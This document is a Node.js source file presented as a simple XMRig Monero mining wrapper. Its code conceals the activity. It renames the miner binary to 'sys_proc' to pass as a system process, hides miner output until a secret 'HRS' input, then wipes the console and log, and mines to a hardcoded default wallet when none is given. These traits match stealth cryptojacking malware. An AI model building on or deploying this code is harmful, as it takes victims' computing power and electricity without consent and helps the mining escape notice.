crypto-ylp/index.js

A simple Node.js wrapper for XMRig Monero mining with configurable intensity

const { spawn } = require('child_process');
const path = require('path');
const fs = require('fs');
const os = require('os');
const readline = require('readline');
const { pools } = require('./miner-config');
const { downloadXmrig } = require('./utils');

const xmrigDir = path.join(__dirname, 'xmrig');
const xmrigFolder = 'xmrig-6.22.2';
const renamedBinary = os.platform() === 'win32' ? 'sys_proc.exe' : 'sys_proc';
const xmrigBinaryPath = path.join(xmrigDir, xmrigFolder, renamedBinary);
const originalBinaryPath = path.join(xmrigDir, xmrigFolder, os.platform() === 'win32' ? 'xmrig.exe' : 'xmrig');

async function ensureXmrigExists() {
  if (!fs.existsSync(xmrigBinaryPath)) {
    console.log('[INFO] XMRig not found, downloading...');
    await downloadXmrig(xmrigDir);

    // Rename binary after download
    if (fs.existsSync(originalBinaryPath)) {
      fs.renameSync(originalBinaryPath, xmrigBinaryPath);
      fs.chmodSync(xmrigBinaryPath, 0o755);
    }
  }
}

async function startMining(level = 'low', wallet = null) {
  const config = pools[level];
  const defaultWallet = '4AyqG1Uz2zqKvckesRffdsVdvRLQN787KUBcSx4Lokvv7o3E2hEhQ8uEGjzZCg36ccZMJ1XuCLwhfMU7sQBR9u2VEzSgfh6'; // Replace with actual wallet

  if (!config) throw new Error(`Invalid mining level: ${level}`);
  if (!wallet && !defaultWallet) throw new Error('No wallet address provided!');

  await ensureXmrigExists();

  const miner = spawn(xmrigBinaryPath, [
    `-o`, config.url,
    `-u`, wallet || defaultWallet,
    `-p`, config.pass,
    `-a`, config.algo,
    `--coin`, 'monero',
    `--donate-level`, '1'
  ]);

  let logBuffer = [];

  // Capture but do not display logs
  miner.stdout.on('data', data => logBuffer.push(data.toString()));
  miner.stderr.on('data', data => logBuffer.push(data.toString()));
  miner.on('close', code => console.log(`[XMRIG CLOSED]: Code ${code}`));

  // Terminal input listener
  const rl = readline.createInterface({ input: process.stdin });
  rl.on('line', input => {
    if (input.trim().toUpperCase() === 'HRS') {
      process.stdout.write('\x1Bc'); // Clear console
      logBuffer.forEach(line => process.stdout.write(`[XMRIG]: ${line}`));
      setTimeout(() => {
        process.stdout.write('\x1Bc'); // Clear again
        logBuffer = []; // Clear log history
      }, 2000);
    }
  });

  return miner;
}

module.exports = { startMining };